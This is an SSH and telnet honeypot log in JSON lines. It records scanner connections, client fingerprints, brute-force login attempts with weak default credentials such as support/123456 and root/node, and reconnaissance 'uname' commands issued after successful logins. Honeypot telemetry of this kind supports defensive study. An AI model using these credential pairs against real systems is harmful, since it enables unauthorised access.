{"eventid":"cowrie.login.failed","username":"cz","password":"CZ2017","message":"login attempt [cz/CZ2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:02.000052Z","src_ip":"64.176.195.200","session":"94679bdb32e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:03.007901Z","src_ip":"64.176.195.200","session":"94679bdb32e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":41818,"dst_ip":"159.203.135.109","dst_port":22,"session":"bab78620c7cc","protocol":"ssh","message":"New connection: 92.118.39.95:41818 (159.203.135.109:22) [session: bab78620c7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:32.643075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:32.646613Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:32.749489Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"validator","message":"login attempt [root/validator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:33.059834Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:33.303882Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:33.306915Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:33.413775Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:33.418192Z","src_ip":"92.118.39.95","session":"bab78620c7cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":57614,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a516a400c8","protocol":"telnet","message":"New connection: 3.130.168.2:57614 (159.203.135.109:23) [session: b7a516a400c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:35.523903Z"}
{"eventid":"cowrie.session.closed","duration":0.09591436386108398,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:35.619689Z","src_ip":"3.130.168.2","session":"b7a516a400c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":57628,"dst_ip":"159.203.135.109","dst_port":23,"session":"344608875a37","protocol":"telnet","message":"New connection: 3.130.168.2:57628 (159.203.135.109:23) [session: 344608875a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:36.045143Z"}
{"eventid":"cowrie.session.closed","duration":0.04948997497558594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:36.094497Z","src_ip":"3.130.168.2","session":"344608875a37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.19","src_port":54022,"dst_ip":"159.203.135.109","dst_port":23,"session":"d860f44afd1b","protocol":"telnet","message":"New connection: 147.185.132.19:54022 (159.203.135.109:23) [session: d860f44afd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:07.227397Z"}
{"eventid":"cowrie.session.closed","duration":30.862623691558838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:38.089808Z","src_ip":"147.185.132.19","session":"d860f44afd1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":41926,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb015e48e861","protocol":"ssh","message":"New connection: 172.187.200.190:41926 (10.17.0.5:22) [session: eb015e48e861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:56.245767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:56.250317Z","src_ip":"172.187.200.190","session":"eb015e48e861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:56.333897Z","src_ip":"172.187.200.190","session":"eb015e48e861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dash","password":"dash","message":"login attempt [dash/dash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:56.507391Z","src_ip":"172.187.200.190","session":"eb015e48e861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41218,"dst_ip":"10.17.0.5","dst_port":22,"session":"530c0fdabe75","protocol":"ssh","message":"New connection: 2.57.122.238:41218 (10.17.0.5:22) [session: 530c0fdabe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.537171Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.598310Z","src_ip":"172.187.200.190","session":"eb015e48e861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.638548Z","src_ip":"2.57.122.238","session":"530c0fdabe75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":44992,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2058687ace5","protocol":"telnet","message":"New connection: 3.130.168.2:44992 (10.17.0.5:23) [session: f2058687ace5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.704746Z"}
{"eventid":"cowrie.session.closed","duration":0.03125905990600586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.735863Z","src_ip":"3.130.168.2","session":"f2058687ace5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":45006,"dst_ip":"10.17.0.5","dst_port":23,"session":"bee6cb75bc88","protocol":"telnet","message":"New connection: 3.130.168.2:45006 (10.17.0.5:23) [session: bee6cb75bc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.758109Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.763748Z","src_ip":"3.130.168.2","session":"bee6cb75bc88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.767451Z","src_ip":"3.130.168.2","session":"bee6cb75bc88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.771153Z","src_ip":"3.130.168.2","session":"bee6cb75bc88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03646683692932129,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:14:57.794447Z","src_ip":"3.130.168.2","session":"bee6cb75bc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":59732,"dst_ip":"159.203.135.109","dst_port":22,"session":"d707941eeaff","protocol":"ssh","message":"New connection: 92.118.39.95:59732 (159.203.135.109:22) [session: d707941eeaff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:52.302897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:52.306082Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:52.411706Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"node","message":"login attempt [root/node] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:52.739931Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:53.012029Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:53.014706Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:53.137546Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:15:53.142850Z","src_ip":"92.118.39.95","session":"d707941eeaff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":43552,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d13f9eec5f9","protocol":"ssh","message":"New connection: 135.181.101.111:43552 (10.17.0.5:22) [session: 0d13f9eec5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:23.345494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:23.349396Z","src_ip":"135.181.101.111","session":"0d13f9eec5f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:23.456980Z","src_ip":"135.181.101.111","session":"0d13f9eec5f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smooth","password":"smooth1","message":"login attempt [smooth/smooth1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:23.674169Z","src_ip":"135.181.101.111","session":"0d13f9eec5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:24.782557Z","src_ip":"135.181.101.111","session":"0d13f9eec5f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":38210,"dst_ip":"159.203.135.109","dst_port":22,"session":"179e64a70675","protocol":"ssh","message":"New connection: 193.46.255.86:38210 (159.203.135.109:22) [session: 179e64a70675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:36.081494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:36.086573Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:36.212749Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:36.795835Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456","message":"login attempt [support/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:37.924392Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abc123","message":"login attempt [support/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:39.052616Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd123","message":"login attempt [support/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:40.180490Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd1234","message":"login attempt [support/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:41.315844Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:42.443504Z","src_ip":"193.46.255.86","session":"179e64a70675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23972,"dst_ip":"10.17.0.5","dst_port":22,"session":"161b415c2c9c","protocol":"ssh","message":"New connection: 213.209.159.158:23972 (10.17.0.5:22) [session: 161b415c2c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:16:42.953545Z"}
